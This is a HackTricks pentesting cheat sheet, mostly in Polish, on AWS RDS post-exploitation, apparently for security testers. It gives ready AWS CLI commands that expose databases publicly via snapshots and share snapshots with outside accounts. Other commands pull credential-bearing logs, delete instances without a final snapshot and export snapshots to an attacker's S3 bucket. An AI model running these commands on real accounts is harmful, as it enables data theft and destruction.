AWS - RDS Post Exploitation

Wspieraj HackTricks

RDS

Więcej informacji znajdziesz tutaj:

AWS - Relational Database (RDS) Enum

rds:CreateDBSnapshot, rds:RestoreDBInstanceFromDBSnapshot, rds:ModifyDBInstance

Jeśli atakujący ma wystarczające uprawnienia, może uczynić DB publicznie dostępną poprzez utworzenie migawki DB, a następnie publicznie dostępnej DB z tej migawki.

aws rds describe-db-instances # Get DB identifier

aws rds create-db-snapshot \
--db-instance-identifier <db-id> \
--db-snapshot-identifier cloudgoat

# Get subnet groups & security groups
aws rds describe-db-subnet-groups
aws ec2 describe-security-groups

aws rds restore-db-instance-from-db-snapshot \
--db-instance-identifier "new-db-not-malicious" \
--db-snapshot-identifier <scapshotId> \
--db-subnet-group-name <db subnet group> \
--publicly-accessible \
--vpc-security-group-ids <ec2-security group>

aws rds modify-db-instance \
--db-instance-identifier "new-db-not-malicious" \
--master-user-password 'Llaody2f6.123' \
--apply-immediately

# Connect to the new DB after a few mins

rds:ModifyDBSnapshotAttribute, rds:CreateDBSnapshot

Atakujący z tymi uprawnieniami mógłby utworzyć migawkę bazy danych i udostępnić ją publicznie. Następnie mógłby utworzyć w swoim własnym koncie bazę danych z tej migawki.

Jeśli atakujący nie ma uprawnienia rds:CreateDBSnapshot, nadal mógłby udostępnić inne utworzone migawki publicznie.

# create snapshot
aws rds create-db-snapshot --db-instance-identifier <db-instance-identifier> --db-snapshot-identifier <snapshot-name>

# Make it public/share with attackers account
aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --attribute-name restore --values-to-add all
## Specify account IDs instead of "all" to give access only to a specific account: --values-to-add {"111122223333","444455556666"}

rds:DownloadDBLogFilePortion

Atakujący z uprawnieniem rds:DownloadDBLogFilePortion może pobierać fragmenty plików dziennika instancji RDS. Jeśli dane wrażliwe lub poświadczenia dostępu zostaną przypadkowo zalogowane, atakujący może potencjalnie wykorzystać te informacje do eskalacji swoich uprawnień lub wykonania nieautoryzowanych działań.

aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text

Potencjalny Wpływ: Dostęp do wrażliwych informacji lub nieautoryzowane działania przy użyciu wyciekłych poświadczeń.

rds:DeleteDBInstance

Atakujący z tymi uprawnieniami może DoS istniejących instancji RDS.

# Delete
aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot

Potencjalny wpływ: Usunięcie istniejących instancji RDS i potencjalna utrata danych.

rds:StartExportTask

DO ZROBIENIA: Test

Atakujący z tym uprawnieniem może eksportować migawkę instancji RDS do bucketu S3. Jeśli atakujący ma kontrolę nad docelowym bucketem S3, mogą potencjalnie uzyskać dostęp do wrażliwych danych w wyeksportowanej migawce.

aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id

Potencjalny wpływ: Dostęp do wrażliwych danych w wyeksportowanym zrzucie.

Wspieraj HackTricks

Last updated